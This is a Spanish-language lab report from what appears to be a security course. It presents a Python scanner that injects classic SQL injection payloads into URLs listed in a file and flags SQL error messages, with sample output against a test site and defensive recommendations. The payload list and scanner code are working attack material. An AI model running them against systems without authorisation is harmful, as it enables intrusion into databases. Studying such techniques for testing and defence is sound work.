**Informe Técnico**

**Automatización de Pruebas de SQL Injection sobre Varias URLs – Lección 7**

**1. Escenario**

El ejercicio consistió en desarrollar un **script en Python** que automatizara la detección de posibles vulnerabilidades de **SQL Injection (SQLi)** en múltiples URLs de un entorno de pruebas. Para ello se utilizaron payloads clásicos inyectados en parámetros de consulta, analizando las respuestas del servidor en busca de errores SQL o comportamientos anómalos que indiquen vulnerabilidad.

**2. Metodología**

1. Se creó un archivo targets.txt con una lista de URLs de prueba, cada una con parámetros susceptibles de inyección.
2. Se definió un conjunto de payloads SQL clásicos como:
3. payloads = ["' OR '1'='1", "';--", "' OR 1=1 --", "' UNION SELECT null,null --", "' OR 'a'='a"]
4. Se programó un script en Python (sql\_injection\_scanner.py) que:
   * Leyó las URLs del archivo.
   * Inyectó cada payload en cada parámetro.
   * Analizó las respuestas buscando mensajes de error (ej. *You have an error in your SQL syntax*, *mysql\_fetch*, *ORA-01756*).
   * Reportó aquellas URLs que respondieron de forma sospechosa.

**3. Implementación Técnica**

**Código en Python (sql\_injection\_scanner.py)**

import requests

# Payloads clásicos de SQLi

payloads = [

"' OR '1'='1",

"';--",

"' OR 1=1 --",

"' UNION SELECT null,null --",

"' OR 'a'='a"

]

# Errores típicos de SQL

errores\_sql = ["sql syntax", "mysql\_fetch", "ORA-01756", "unclosed quotation mark"]

def probar\_url(url):

for payload in payloads:

try:

r = requests.get(url + payload, timeout=5)

contenido = r.text.lower()

if any(error in contenido for error in errores\_sql):

print(f"[+] Posible SQLi en: {url}{payload}")

except Exception as e:

print(f"[!] Error con {url}: {e}")

if \_\_name\_\_ == "\_\_main\_\_":

with open("targets.txt") as f:

urls = [line.strip() for line in f if line.strip()]

for url in urls:

probar\_url(url)

**Ejemplo de targets.txt**

http://testphp.vulnweb.com/artists.php?artist=

http://testphp.vulnweb.com/showimage.php?file=

**4. Ejemplo de Ejecución**

[+] Posible SQLi en: http://testphp.vulnweb.com/artists.php?artist=' OR 1=1 --

[+] Posible SQLi en: http://testphp.vulnweb.com/showimage.php?file=' OR 'a'='a

**5. Análisis de Seguridad**

* Los resultados indican que parámetros sin sanitización pueden ser manipulados para alterar consultas SQL.
* La automatización acelera la fase de **fuzzing** y permite evaluar múltiples endpoints en poco tiempo.
* Sin embargo, los hallazgos deben ser validados manualmente para confirmar la explotación real.

**6. Recomendaciones de Ciberseguridad**

1. Usar **consultas parametrizadas (prepared statements)** en lugar de concatenar cadenas SQL.
2. Implementar **validación y saneamiento de entradas** en todos los formularios y parámetros de URL.
3. Limitar la información en mensajes de error para no filtrar detalles de la base de datos.
4. Implementar un **WAF (Web Application Firewall)** para mitigar intentos de SQLi.
5. Realizar pruebas periódicas de seguridad siguiendo los lineamientos del **OWASP Top 10**.

**7. Reflexión**

Este laboratorio mostró cómo un simple script puede automatizar la detección de vulnerabilidades SQLi en múltiples URLs, lo que facilita la labor de un pentester en la fase de reconocimiento. También resaltó la importancia de usar este tipo de herramientas solo en entornos autorizados y de complementar los resultados con validaciones manuales.

**8. Conclusión**

El script desarrollado permitió identificar endpoints vulnerables a **SQL Injection** en un entorno de pruebas, demostrando la efectividad del **fuzzing automatizado**. Los hallazgos confirman que la ausencia de medidas de seguridad adecuadas puede comprometer la integridad de la base de datos. Este ejercicio refuerza la necesidad de integrar **seguridad en el desarrollo (Secure by Design)** y aplicar controles robustos contra inyección SQL en todas las aplicaciones web.